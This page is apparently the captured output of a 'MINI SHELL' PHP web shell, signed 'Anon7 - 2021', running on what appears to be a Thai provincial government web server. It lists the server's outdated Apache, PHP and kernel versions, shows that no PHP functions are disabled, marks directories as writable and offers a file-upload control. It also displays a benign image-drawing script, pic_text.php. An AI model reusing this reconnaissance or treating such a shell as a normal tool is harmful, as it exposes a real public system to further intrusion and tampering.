MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/ecomplain/function/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/ecomplain/function/pic_text.php
<?php
	//$font = "CaflischScriptPro-Regular.otf"; //ไฟล์ font ที่จะใช้	
	$font = "arial.ttf"; //ไฟล์ font ที่จะใช้arial.ttf
	$image = imagecreate(100,30);	//สร้างภาพโดยการกำหนดขนาด ยาว(แกน x), กว้าง(แกน y)
	$bg = imagecolorallocate($image,180,220,200); //กำหนดสีพื้น (ภาพ,Red,Green,Blue)
	
	$black = imagecolorallocate($image, 0, 0, 0); //กำหดนค่าสีของสีดำซึ่งจะใช้เป็นสีของตัวอักษร
	
	//imagettftext($image,28,0,2,25,$black,$font,$str);  //นำตัวอักษรจากฟอร์มมาวาดเป็นรูป
	imagettftext($image,18,3,10,25,$black,$font,$str);  //นำตัวอักษรจากฟอร์มมาวาดเป็นรูป
	imagepng($image);   //แสดงผลภาพที่สร้าง
	imagedestroy($image); //เมื่อ browser ดึงไปแสดงแล้วก็คืนค่าหน่วยคืนค่าหน่วยความจำให้กับระบบ <br>

?>

Anon7 - 2021